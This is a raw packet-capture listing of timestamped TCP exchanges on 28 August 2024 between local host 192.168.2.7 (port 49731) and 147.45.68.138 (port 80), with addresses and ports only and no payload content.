Aug 28, 2024 22:55:52.915764093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915771961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915782928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915792942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915812016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915823936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915986061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915997028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916008949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916037083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916047096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916060925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916074038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916105032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916115046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916496038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916549921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916559935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916568995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916572094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916583061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916591883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916603088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916604042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916613102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916635990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916646957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916680098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916724920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.916755915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.916799068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.930881023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.930895090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.930906057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.930917025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.930928946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.930953026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.930975914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.931034088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931051016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931061029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931071997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931076050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.931082964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931094885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931102037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.931106091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931118011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931128979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.931129932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.931140900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.931169033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942306042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942368031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942378044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942404032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942423105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942435980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942436934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942447901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942460060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942466021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942482948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942502975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942502975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942516088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942533970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942536116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942547083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942558050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942559958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942569971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942579031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942583084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942593098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.942605019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.942621946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.948782921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.948801041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.948810101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.948820114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.948831081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.948834896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.948852062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.948873997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949017048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949027061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949037075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949048042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949059010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949070930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949177980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949187994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949208021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949224949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949533939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949543953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949553013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949563026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.949573994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.949594021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.954835892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954847097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954859018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954869032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954879045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954884052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.954890013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954896927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.954904079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.954910040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.954936028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.957417011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957429886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957441092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957462072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.957473993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.957552910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957564116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957575083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957585096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.957586050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.957607031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.957628965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.981650114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981663942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981674910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981708050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.981726885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.981755972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981765985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981776953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981786966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.981789112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.981805086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.981825113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001439095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001457930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001467943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001487017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001496077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001497984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001508951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001518011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001518965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001530886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001533985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001552105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001553059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001565933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001574993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001593113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001681089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001710892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001718998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001723051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001743078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001755953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001878977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001889944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001900911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001904964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001910925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.001941919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.001960993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002031088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002041101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002053022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002073050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002094030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002172947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002191067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002202988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002212048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002218962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002223015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002233028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002258062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002418041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002429962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002441883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002459049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002476931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002480030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002487898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002504110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002542019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002548933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002580881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002583981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002608061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002613068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002635956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002688885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002700090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002727032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002737045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002862930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002875090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002887964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002897024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002902985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002909899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002927065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002947092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002949953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002969980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002980947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.002989054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.002995014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003001928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003016949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003029108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003109932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003150940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003200054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003238916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003427982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003468037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003515005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003525019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003552914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003556013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003562927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.003587961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.003599882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.006720066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.006731033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.006745100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.006752968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.006767988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.006792068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017373085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017435074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017469883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017487049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017498970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017508030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017510891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017522097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017527103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017533064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017544031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017544031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017559052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017573118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017589092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017617941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017635107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017646074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017656088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017661095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017668962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017678022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017678976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.017703056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.017715931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029211044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029222012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029232979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029252052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029258013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029278994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029283047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029294014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029295921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029319048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029359102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029373884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029383898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029393911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029403925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029411077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029424906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029434919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029438019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029448032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.029453039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.029475927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035614967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035660028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035662889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035671949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035693884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035703897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035717010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035728931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035739899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035752058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035757065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035763979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035773039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035797119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035841942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035857916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035867929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035881996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035900116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035906076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035912037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035931110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035950899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.035974026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.035984039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.036012888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041264057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041313887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041323900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041341066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041357040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041368961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041387081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041398048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041409969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041418076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041421890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041434050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041435003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.041450977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.041475058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.043749094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043796062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043797970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.043807030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043831110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.043839931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.043868065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043879032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043889046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043900013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043905020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.043912888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.043922901 CEST	49731	80	192.168.2.7	147.45.68.138
